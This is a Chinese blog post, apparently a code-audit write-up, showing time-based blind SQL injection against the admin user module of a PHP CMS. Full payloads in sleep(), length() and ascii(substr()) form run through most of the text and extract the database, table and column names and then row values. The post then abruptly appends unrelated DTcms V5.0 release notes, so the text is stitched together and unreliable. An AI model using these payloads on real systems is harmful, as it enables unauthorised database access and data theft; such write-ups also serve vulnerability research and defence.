一次代码审计盲注

官网下载最新的安装包2019.3.13
具体文件安装后admindm-yourname\mod_account\mod_user.php
既http://域名/admindm-yourname\mod_account\mod_user.php
代码分析
在这里插入图片描述
登录后在添加管理处,存在修改pos参数,通过post传递值,无任何过滤,无回显,可进行时间盲注
在这里插入图片描述

在bp中添加‘and sleep(5) --+证明注入
在这里插入图片描述

因为数据库用户数为2所以时间为11s。这里需指定用户id,可点击管理员修改得到任一用户ID
在这里插入图片描述
既bp中k=1 ‘ where id =107 and sleep(5) --+
在这里插入图片描述
插入数据库代码

注入存在,开始注数据
猜数据库长度
k=1’ where id =107 and if(length(database())=5,sleep(5),1)–+
在这里插入图片描述

截取数据库第一个字符
and If(ascii(substr(database(),1,1))=100,sleep(10),1)–+
在这里插入图片描述

对于dtcms第一个d,acsii码为100.修改为substr(database(),2,1即可第二位,不在演示,最终得到库名为dtcms(建库时输错,本cms为dmcms)
爆dtcms库第一个表长度,and If(length((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1))=9,sleep(5),1)–+得到长度为9,将limit 0,1换为1,1既第二个表,不在演示
在这里插入图片描述
爆第一个表名第一位
If(ascii(substr((select table_name from information_schema.tables where table_schema=‘dtcms’ limit 0,1),1,1))=122,sleep(5),1)–+
在这里插入图片描述
这样得到第一个表第一个字符,将1,1改为2,1既第二个字符,以此将第一个表明查询出为zzz_album
爆zzz_album表的第一个列名长度and If(length((select column_name from information_schema.columns where table_schema='dtcms‘ and table_name=‘zzz_album’ limit 0,1))=8,sleep(10),1)–+
在这里插入图片描述得到第一列列名长度为2
猜第一列列名and If(ascii(substr((select column_name from information_schema.columns where table_schema=‘dtcms’ and table_name=‘zzz_album’ limit 0,1),1,1))=105,sleep(5),1)–+
在这里插入图片描述

得到第一位为i,同上第二位为d。
猜Id列第一个数据的长度
If(length((select id from dtcms. zzz_album limit 0,1))=3,sleep(5),1)–+
在这里插入图片描述
长度为3
猜id列第一个数据一个字符
and If(ascii(substr((select id from dtcms. zzz_album limit 0,1),1,1))=49,sleep(5),1)—
在这里插入图片描述

猜出第一个为1,依次猜出为7,7
在这里插入图片描述
在这里插入图片描述
得到数据id第一列第一个数据为177
在这里插入图片描述
重复以上方法可全部注出

此旗舰版 修改与 DTcms V5.0 正式版MSSQL源码 更新时间:2017年09月21日 在此版本基础上增加了所有旗 DTcms V5.0 旗舰版功能 经本人测试没测试出问题 如有发现问题可以留言 DTcms V5.0源码说明: 版本号:V5.0.0 数据库:MSSQL2005 修复日志: 2017-06-11 修复前台模板订单结算时地址无法选择BUG 2017-06-12 修复后台管理菜单无法上传图标的BUG 2017-07-09 修复第三方登录出错的BUG 2017-09-20 修复前台会员注册时获取手机验证码短信防止注册机重复发送短信BUG DTcms5.0改进的地方: 1. 后台管理界面加强美化,使用矢量图标代替位图,对于树型菜单增加可闭合和展开,调整了部分页面的布局; 2. 对于会员、订单等进行站点归类,更好区分每个站点数据; 3. 创建频道时,根据选择的功能创建不同的管理菜单; 4. 网页编辑器使用了UEditor百度编辑器,上传进行了改造,使用二进制上传文件; 5. 支付方式,第三方登录OAuth可每个站点设置不同的配置信息,不再限于全局使用; 6. 对系统架构进行全新改造,每增加一个频道自动创建对象数据库表存储; 7. 插件模板支持不同的站点可创建不同的对应模板; 8. DAL层代码改进,通过反射进行解析Model实体自动赋值,不必担心增加数据库字段而修改DAL层烦恼; 二、安装环境要求 开发工具:Microsoft Visual Studio 2010 操作系统:Windows Server 2008(推荐) 、Windows Server 2003(推荐)、Windows XP(基础测试环境) 数据库: Sql Server 2005(推荐)、Sql Server 2008(推荐) Web服务器:IIS 5.0及以上版本(推荐IIS7.0,应用池为集成模式) 环境要求:.NET Framework 4.x及以上
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值